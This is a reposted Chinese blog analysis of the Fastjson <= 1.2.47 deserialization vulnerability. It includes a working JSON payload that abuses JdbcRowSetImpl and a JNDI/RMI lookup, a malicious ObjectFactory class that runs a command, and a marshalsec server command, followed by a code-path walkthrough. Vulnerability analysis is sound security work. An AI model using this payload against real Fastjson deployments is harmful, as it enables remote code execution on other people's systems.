转载

Fastjson =< 1.2.47 反序列化漏洞分析 

@Author: Patrilic @Time: 2020-3-14 23:08:55

Fastjson =&lt; 1.2.47 反序列化漏洞分析

0x00 RMI和LDAP的适用版本

  • RMI的利用方式：适用jdk版本：JDK 6u132, JDK 7u122, JDK 8u113之前。
  • LDAP的利用方式：适用jdk版本：JDK 11.0.1、8u191、7u201、6u211之前。

0x01 Poc

Exp.java 

package com.patrilic.fastjson;

import com.alibaba.fastjson.JSON;
//import com.alibaba.fastjson.JSONObject;

public class exp {
    public static void main(String[] argv) {
//        System.out.print("Success");
        String payload = "{/"name/":{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"},/"x/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"rmi://localhost:1099/Exploit/",/"autoCommit/":true}}}";
        JSON.parse(payload);
    }
}

Exploit.java 

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class Exploit implements ObjectFactory {

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        exec("xterm");
        return null;
    }

    public static String exec(String cmd) {
        try {
            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void main(String[] args) {
        exec("123");
    }
}

RMI服务器由 marshalsec-0.0.3-SNAPSHOT-all.jar 启动 

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8001//#Exploit
Fastjson =&lt; 1.2.47 反序列化漏洞分析

运行exp的时候，发现并不能成功执行

因为jdk版本不支持，当前版本为8u191，ldap和rmi的方式都不行，切换版本到7u80

Fastjson =&lt; 1.2.47 反序列化漏洞分析

0x02 漏洞分析

程序最先进入到 DefaultJSONNParser ，将整个payload作为参数传入Json的解释器，进入到 DefaultJsonParser.parser() 函数

Fastjson =&lt; 1.2.47 反序列化漏洞分析

经过逐位的数据读取，将Json的Key分割开，调用 addSymbol() 函数加入到 symbolTable
Fastjson =&lt; 1.2.47 反序列化漏洞分析 Fastjson =&lt; 1.2.47 反序列化漏洞分析 Fastjson =&lt; 1.2.47 反序列化漏洞分析

如果获取到的key是 @type ，就通过 clazz = this.config.checkAutoType(typeName, (Class)null, lexer.getFeatures()) 是否是黑名单中的类

Fastjson =&lt; 1.2.47 反序列化漏洞分析

因为 @type == "java.lang.class ，不在黑名单内，所以会将value带入加载

Fastjson =&lt; 1.2.47 反序列化漏洞分析

跟进deserializer

Fastjson =&lt; 1.2.47 反序列化漏洞分析

可以看到StrVal = objVal，而objVal就是等于poc中给出的val参数

Fastjson =&lt; 1.2.47 反序列化漏洞分析 Fastjson =&lt; 1.2.47 反序列化漏洞分析

然后下面经过一堆if判断，进入到

TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())
Fastjson =&lt; 1.2.47 反序列化漏洞分析 Fastjson =&lt; 1.2.47 反序列化漏洞分析

跟进 loadClass()
Fastjson =&lt; 1.2.47 反序列化漏洞分析

MiscCode:548行

Fastjson =&lt; 1.2.47 反序列化漏洞分析

最后进入JdbcRowSetImpl通过调用SetAutoCommit() -> connect()对dataSourceName进行lookup，实现rmi注入

com/alibaba/fastjson/parser/DefaultJSONParser.class
Fastjson =&lt; 1.2.47 反序列化漏洞分析

Fastjson =&lt; 1.2.47 反序列化漏洞分析

Fastjson =&lt; 1.2.47 反序列化漏洞分析

原文  https://patrilic.top/2020/03/14/Fastjson =< 1.2.47 反序列化漏洞分析/
正文到此结束
所属分类： Java 编程技术

热门推荐

相关文章

阿里云首购8折
说给你听

本文目录
随机标签
书籍教程
springboot-demo Java入门教程 bootstrap3 CSS Apache基础教程 php ionic 教程 Python mysql教程 eclipse Ubuntu VPS系统配置 AngularJS 教程 MongoDB教程 Struts2教程 Redis教程 Spring教程 Git教程 Jenkins进阶系列 openfire参考指南 Java设计模式 HBase教程 java-demo Maven教程 springcloud-demo hibernate教程 Docker 教程 memcached教程 Quartz指南 Hive教程 ANTLR教程 SpringCloud Ant教程 java实例教程 Hazelcast教程 XStream教程 Elastic-Job-Lite 深入浅出MyBatis ibaties教程 SVN教程 rabittmq教程 Hadoop教程 solr教程 WebService CXF学习 JPA教程 ActiveMQ中文指南 Java内存模型 dubbo教程 python3-demo Linux入门视频教程
近期评论
  1. 1 使用 Docker 打包和运行 Vue 应用
  2. 2 Dependency Check命令行方式扫描jar包的安全漏洞
  3. 3 maven使用Dependency-Check来扫描安全漏洞
  4. 4 使用sonarqube分析代码质量
  5. 5 使用screw来对比数据库表和字段差异
  6. 6 Spring Boot 实现防盗链功能
  7. 7 在Spring Boot中的实现国际化（i18n）
  8. 8 一个用于 SMB/CIFS 网络的 Java 库-JCIFS
  9. 9 Spring Boot 3.x嵌入MongoDB 进行测试
  10. 10 java如何解析和生成yaml文件？
网站信息
  • 文章总数：82,737 篇
  • 文件总数：284,312 个
  • 标签总数：2,416 个
  • 分类总数：85 个
  • 留言数量：2,559 条
  • 在线人数：604 人
  • 运行天数：4,439天
  • 最后更新：2024年12月22日15点
Loading...

其他链接

关于本站

本站定位：个人技术类博客

本站作用：写博客、记日志、闲聊扯淡鼓捣技术。

问题交流

[HBLOG]公众号 HBLOG HBLOG